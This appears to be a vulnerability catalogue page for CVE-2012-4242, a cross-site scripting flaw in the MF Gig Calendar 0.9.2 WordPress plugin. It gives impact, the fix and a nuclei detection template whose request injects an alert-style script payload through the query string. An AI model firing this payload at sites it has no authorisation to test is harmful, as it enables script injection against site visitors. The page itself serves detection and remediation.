WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting

mediumseverity

4.3CVSS score

9.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Plugin MF Gig Calendar to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/mf-gig-calendar/readme.txt
Positive when: contains "MF Gig Calendar ="
Send: GET {{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-4242 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-4242

info:
  name: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Plugin MF Gig Calendar to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4242
    - http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4242
    cwe-id: CWE-79
    epss-score: 0.0928
    epss-percentile: 0.95405
    cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:0.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "mf_gig_calendar_project"
    product: "mf_gig_calendar"
  tags: cve,cve2012,wordpress,xss,wp-plugin,mf_gig_calendar_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'MF Gig Calendar ='

  - method: GET
    path:
      - '{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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